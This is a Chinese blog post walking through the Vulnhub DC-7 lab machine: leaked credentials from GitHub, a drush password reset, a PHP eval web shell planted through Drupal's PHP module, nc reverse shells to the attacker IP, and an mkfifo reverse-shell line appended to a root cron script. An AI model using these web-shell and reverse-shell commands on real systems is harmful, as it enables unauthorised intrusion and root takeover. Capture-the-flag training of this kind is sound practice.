freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub--DC-7
2023-01-08 08:54:10
所属地 宁夏

Vulnhub--DC-7

一,部署方法

  1. 在官网上下载zip压缩包
  2. 下载到本地上解压缩后使用虚拟机导入.ova后缀的文件(在过程中出现问题不用理睬,点击重试即可)
  3. 配置网络,本人设置的是nat模式,这个看个人需求
  4. 打开靶机即可

二,靶机地址和描述

  1. 下载地址

https://download.vulnhub.com/dc/DC-7.zip

  1. 靶机描述

1673138725_63ba1225313062a592c15.png!small?1673138726935

三,测试

1. 信息收集

arp-scan -l

1673138733_63ba122db9c45a70461d8.png!small?1673138735463

148为攻击机的地址,151为靶机地址

nmap -A -T4 -p- 192.168.237.151

对靶机进行深度扫描

1673138741_63ba1235574d71da0a8c4.png!small?1673138743146

发现靶机开放了22端口 ssh服务/80端口 web服务,而且此站点的CMS是Drupal 8

同时怀疑出后台登陆地址:/user/login。

浏览器访问 http://192.168.237.151

1673138750_63ba123eeabd95e8776ff.png!small?1673138752663

后台地址

1673138756_63ba124475c8cb12884e1.png!small?1673138758074

毫无任何有用信息可知,这时突然想到在DC-1靶场中CMS也是Drupal。查看DC -1的80端口的站点环境。发现有点不一样。

1673138761_63ba1249f1fa43dc327d2.png!small?1673138763580

在DC-7的靶场底下多了这么一行,怀疑是信息泄露。

使用github进行搜素@DC7USER

1673138766_63ba124ed76e33f53a8e2.png!small?1673138768437

1673138772_63ba1254acfce86242f59.png!small?1673138774346

发现站点的信息泄露

查看config.php中的信息,发现了用户名和密码

1673138778_63ba125adf1847033efe8.png!small?1673138780446

用户名和密码:dc7user/MdR3xOgB7#dW

使用该用户名和密码进行登录

1673138790_63ba126617391aae76ebb.png!small?1673138791667

发现登录不上。

这时想到信息收集阶段发现靶机开启了ssh服务。尝试使用该用户名和密码进行登录。

2. ssh服务

1673138818_63ba1282bc3fa5c7000b5.png!small?1673138820697

成功进行ssh登录。查看当前用户的所有信息

ls

1673138823_63ba12879f935a2da9866.png!small?1673138826470

发现在当前目录下存在一个backups目录和mbox文件。

首先查看mbox的内容

cat mbox

1673138834_63ba129293cdb9951a3fe.png!small?1673138836873

1673138839_63ba12975970467228ecf.png!small?1673138841109

发现是一系列的类似日志一样的东西,执行的程序是root用户下的/opt/scripts/backups.sh,执行的内容应该是刚才看的backups目录下的文件。

这时进行查看backups目录下的内容

1673138844_63ba129c7f4c679da84c8.png!small?1673138846069

发现其中存在.gpg后缀的文件,经过了解,.gpg后缀的文件是一种经过不对称加密后的文件。

这时没有思路了,想到刚才日志中执行的程序有路径,尝试进行查看

cd /opt/scripts

ls

cat backups.sh

1673138882_63ba12c21e3cd53e4945c.png!small?1673138884023

发现这好像是一个批处理文件,进行小小的解读:

删除/home/dc7user/backups的目录下的所有东西

进入/var/www/html目录

执行drush命令,用来修改drupalCMS框架下一些配置的命令,可以改变用户的密码。

执行gpg命令,对刚才进行的修改配置文件进行加密。

然后删除原包

这里发现可以使用drush命令对drupal站点的用户密码进行修改。

首先进入/var/www/html目录,然后执行命令

cd /var/www/html

drush user-password admin --password="admin"

1673138924_63ba12ec255b2567cf962.png!small?1673138925760

然后进行web端的登录。

1673138927_63ba12ef87448c2aa6262.png!small?1673138929227

成功进行登录。下一步寻找漏洞点,尝试进行Getshell。

3. Getshell

进入后台,尝试写入一句话木马进行Getshell

1673138939_63ba12fbca22357e88b27.png!small?1673138941565

1673138947_63ba1303ae0721f365060.png!small?1673138949340

1673138952_63ba130848cb20580ca34.png!small?1673138954034

1673138963_63ba1313a821547c8234e.png!small?1673138965338

成功创建HK页面。

这里发现不支持PHP代码,百度后发现,drupal 8 后为了安全,不支持PHP代码,需要将PHP作为一个单独的模块进行导入。

进入Extend模块1673138983_63ba13274e735f539524e.png!small?1673138984979

1673138991_63ba132fba6ab217c4c94.png!small?1673138993575

下载PHP的URL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

1673139068_63ba137ca0b4eac223306.png!small?1673139070452

1673139074_63ba1382d73b696018be9.png!small?1673139076587

成功下载,返回Extend模块,进行添加PHP模组。

1673139080_63ba13888f16d2c1fd40b.png!small?1673139082389

成功添加。

返回刚才添加的HK页面的设置中,写入一句话木马

<?php @eval($_POST['HK']);?>

1673139091_63ba13934bda2704c6abf.png!small?1673139093049

访问HK页面,使用蚁剑进行链接。

1673139097_63ba1399415b182143899.png!small?1673139098910

1673139102_63ba139e81f79d3c5f9f2.png!small?1673139104204

成功进行链接。

攻击机开启监听

nc -lvvp 4444

1673139112_63ba13a8b4458a22a0531.png!small?1673139114404

打开蚁剑中的虚拟终端输入

nc -e /bin/bash 192.168.237.148 4444

1673139146_63ba13ca57497bdbfefb9.png!small?1673139147973

成功反弹shell

1673139150_63ba13ceb0bd8031befe5.png!small?1673139152387

python -c ‘import pty;pty.spawn(“/bin/bash”)’

进行交互性Shell

1673139156_63ba13d4d82e90fde42b8.png!small?1673139158527

查看用户-whoami

1673139160_63ba13d8da353fe2fcd7a.png!small?1673139162451

发现是最低权限,进行提权。

4. 提权

想到在ssh信息收集阶段,可以把命令写入/opt/scripts/backups.sh文件中。

这时不妨将反弹root shell的命令写入文件中,这个文件执行后就可以获取root的权限。

首先在攻击机开启监听

nc -lvvp 6666

1673139169_63ba13e160058b1534dce.png!small?1673139170956

在backups.sh文件中写入命令。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.237.148 6666 >/tmp/f" >> backups.sh

1673139176_63ba13e8b4a7e17ed423d.png!small?1673139178419

成功反弹shell

1673139183_63ba13ef25daaecd8ecb8.png!small?1673139184794

得到flag!

四,总结

  1. 信息收集的重要性
  2. ssh服务
  3. 提权
# 渗透测试 # web安全 # 内网渗透 # 网络安全技术 # vulnhub靶机
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录